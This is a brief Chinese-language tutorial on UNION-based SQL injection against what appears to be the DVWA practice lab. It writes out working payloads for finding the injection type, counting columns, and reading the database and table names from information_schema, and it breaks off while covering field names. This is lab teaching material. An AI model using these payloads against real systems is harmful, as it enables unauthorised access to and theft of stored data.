Union注入 一、首先判断是数字型还是字符型 如果是数字型: 1 and 1=1 #正常回显 1 and 1=2 #无显示或者页面报错 如果是字符型: 1' and '1'='1 #正常显示 1' and '1'='2 #无显示或者页面报错 可以看到无论是1=2还是1=1都是正常回显,说明不是数字型,是字符型。 二、使用order by查询出表的字段数量 1’ order by 2# 查询成功 1’ order by 3# 查询失败 三、两个字段数说明可以union select 1,2 ,在1或2处输入mysql查询语句,示例利用联合注入查询数据库名称、表、字段、字段数据。 1.获取数据库名,得到结果为:dvwa 1' union select 1,database() # 2.获取两个表名:guestbook,users 获取表名,用到limit,且查询语句要用括号括起来。limit 0,1意思是从第0个开始显示1个,例如limit 1,1就是显示第二个数据,以此循环类推。 1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1) # 3.获取字段名称 与获取表名类似,用limit循环得出全部字段名称,这里只展示两个